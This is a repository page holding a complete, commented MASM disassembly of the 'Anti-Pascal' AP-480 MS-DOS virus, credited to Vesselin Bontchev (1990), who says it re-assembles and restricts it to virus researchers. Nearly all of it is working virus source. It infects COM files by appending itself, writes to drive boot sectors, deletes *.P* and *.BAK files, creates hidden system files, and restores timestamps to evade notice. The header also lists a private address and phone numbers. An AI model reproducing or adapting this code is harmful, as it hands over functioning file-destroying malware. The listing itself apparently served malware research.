MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ap-480.asm

316 lines
7.2 KiB
NASM
Raw Normal View History

2021-01-12 23:31:39 +00:00
page ,132
name AP480
title The 'Anti-Pascal' virus, version AP-480
.radix 16
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
; <20> Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 <20>
; <20> Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 <20>
; <20> <20>
; <20> The 'Anti-Pascal' Virus, version AP-480 <20>
; <20> Disassembled by Vesselin Bontchev, June 1990 <20>
; <20> <20>
; <20> Copyright (c) Vesselin Bontchev 1989, 1990 <20>
; <20> <20>
; <20> This listing is only to be made available to virus researchers <20>
; <20> or software writers on a need-to-know basis. <20>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
code segment
assume cs:code, ds:code
org 100
v_const = 2042d
start:
jmp v_entry
db 0CA ; Virus signature
db (2048d - 9) dup (90)
mov ax,4C00
int 21
v_start label byte
first4 db 0E9, 0F8, 7, 90
allcom db '*.COM', 0
mydta label byte
reserve db 15 dup (?)
attrib db ?
time dw ?
date dw ?
fsize dd ?
namez db 14d dup (?)
allp db 0, '????????P??'
allbak db 0, '????????BAK'
maxdrv db ?
v_entry:
push ax ; Save AX & DX
push dx
mov ah,19 ; Get the default drive
int 21
push ax ; Save it on stack
mov ah,0E ; Set it as default (?!)
mov dl,al
int 21 ; Do it
call self ; Determine the virus' start address
self:
pop si
sub si,offset self-v_const
; Save the number of logical drives in the system:
mov byte ptr [si+offset maxdrv-v_const],al
; Restore the first 4 bytes of the infected program:
mov ax,[si+offset first4-v_const]
mov word ptr ds:[offset start],ax
mov ax,[si+offset first4+2-v_const]
mov word ptr ds:[offset start+2],ax
mov ah,1A ; Set new DTA
lea dx,[si+offset mydta-v_const]
int 21 ; Do it
pop ax ; Restore current drive in AL
push ax ; Keep it on stack
call inf_drive ; Proceed with the current drive
xor al,al ; For all logical drives in the system
drv_lp:
call inf_drive ; Proceed with drive
jbe drv_lp ; Loop until no more drives
pop ax ; Restore the saved current drive
mov ah,0E ; Set it as current drive
mov dl,al
int 21 ; Do it
mov dx,80 ; Restore original DTA
mov ah,1A
int 21 ; Do it
mov si,offset start
pop dx ; Restore DX & AX
pop ax
jmp si ; Run the original program
inf_drive:
push ax ; Save the selected drive number on stack
mov ah,0E ; Select that drive
mov dl,al
int 21 ; Do ti
pop ax ; Restore AX
push ax ; Save the registers used
push bx
push cx
push si ; Save SI
mov cx,1 ; Read the boot sector of the drive specified
xor dx,dx
lea bx,[si+offset v_end-v_const]
push ax ; Save AX
push bx ; Save BX, CX & DX also
push cx
push dx
int 25 ; Do read
pop dx ; Clear the stack
pop dx ; Restore saved DX, CX & BX
pop cx
pop bx
jc bad_drv ; Exit on error
inc byte ptr [bx] ; Increment the first byte (?!)
cmp byte ptr [bx+1],6F ; Second byte == 111 (?!)
jne wr_drive ; Write the new values if not
bad_drv:
pop ax ; Restore AX
pop si ; Restore SI
drv_xit:
pop cx ; Restore used registers
pop bx
pop ax
inc al ; Go to next drive number
cmp al,[si+offset maxdrv-v_const] ; See if there are more drives
ret ; Exit
wr_drive:
pop ax ; Restore drive number in AL
int 26 ; Do write
pop ax ; Clear the stack
pop si ; Restore Si
jc drv_xit ; Exit on error
; Find first COM file on the current directory of the selected drive:
mov ah,4E
xor cx,cx ; Normal files only
lea dx,[si+offset allcom-v_const] ; File mask
next:
int 21 ; Do find
jc no_more ; Quit search if no more such files
lea dx,[si+offset namez-v_const] ; Get file name found
call infect ; Infect that file
mov ah,4F ; Prepare for FindNext
jc next ; If infection not successful, go to next file
jmp drv_xit ; Otherwise quit
no_more:
lea di,[si+offset v_end-v_const]
cmp byte ptr [di],80
jb drv_xit
; Form the current directory path at v_end:
mov al,'\' ; '\' for the root
stosb ; Put that character
xchg si,di ; Save DI
mov ah,47 ; Get current directory
xor dl,dl ; of the default drive and put it there too
int 21 ; Do it
xchg si,di ; Restore DI
xor al,al ; Go to the end of paht (?!)
mov cx,64d
repne scasb ; Do it
dec di ; Go to the previous byte
mov ah,13 ; Delete all *.P* files in that dir
lea dx,[si+offset allp-v_const]
int 21 ; Do it
cmp al,-1
je drv_xit ; Exit on error
mov ah,13 ; Delete all *.BAK files too
lea dx,[si+offset allbak-v_const]
int 21 ; Do it
mov cx,20d ; Create 20 temporary files (?!)
mov ah,5A
lea dx,[si+offset v_end-v_const]
creat_lp:
push cx ; Save registers used
push ax
push dx
mov byte ptr [di],0
mov cx,7 ; With ReadOnly, Hidden and System attributes
int 21 ; Do it
pop dx ; Save used registers
pop ax
pop cx
loop creat_lp ; Loop until done
jmp drv_xit ; Done. Exit
namaddr dw ? ; Address of the file name buffer
infect:
mov [si+offset namaddr-v_const],dx ; Save file name address
mov ax,4301 ; Reset all file attributes
xor cx,cx
int 21 ; Do it
jnc inf_cont ; Continue if all OK
inf_xit:
ret ; Otherwise exit
inf_cont:
mov ax,3D02 ; Open file for both reading and writing
int 21
jc inf_xit ; Exit on arror
mov bx,ax ; Save file handle in BX
mov cx,4 ; Read the first 4 bytes of the file
mov ah,3F
lea di,[si+offset first4-v_const] ; Save them in first4
mov dx,di
int 21 ; Do it
jc quit ; Exit on error
cmp byte ptr [di+3],0CA ; File already infected?
stc ; Set CF to indicate it
jz quit ; Don't touch this file if so
mov cx,[si+offset fsize-v_const]
cmp cx,2048d ; Check if file size >= 2048 bytes
jb quit ; Exit if not
cmp cx,64000d ; Check if file size <= 64000 bytes
stc ; Set CF to indicate it
ja quit ; Exit if not
xor cx,cx ; Seek to file end
xor dx,dx
mov ax,4202
int 21 ; Do it
push ax ; Save file size on stack
jc quit ; Exit on error
; Write the virus body after the end of file:
mov cx,v_end-v_start
nop
lea dx,[si+offset v_start-v_const]
mov ah,40
int 21 ; Do it
jc quit ; Exit on error
pop ax ; Restore file size in AX
; Form a new address for the first JMP instruction in AX:
add ax,v_entry-v_start-3
mov byte ptr [di],0E9 ; JMP opcode
mov [di+1],ax
mov byte ptr [di+3],0CA ; Set the "file infected" sign
xor cx,cx ; Seek to file beginning
xor dx,dx
mov ax,4200
int 21 ; Do it
jc quit ; Exit on error
mov cx,4 ; Write the new first 4 bytes of the file
mov dx,di
mov ah,40
int 21 ; Do it
quit:
pushf ; Save flags
mov ax,5701 ; Set file date & time
mov cx,[si+offset time-v_const] ; Get time from mydta
mov dx,[si+offset date-v_const] ; Get date from mydta
int 21 ; Do it
mov ah,3E ; Close the file
int 21
mov ax,4301 ; Set file attributes
mov cl,[si+offset attrib-v_const] ; Get them from mydta
xor ch,ch
mov dx,[si+offset namaddr-v_const] ; Point to file name
int 21 ; Do it
popf ; Restore flags
ret
v_end equ $
code ends
end start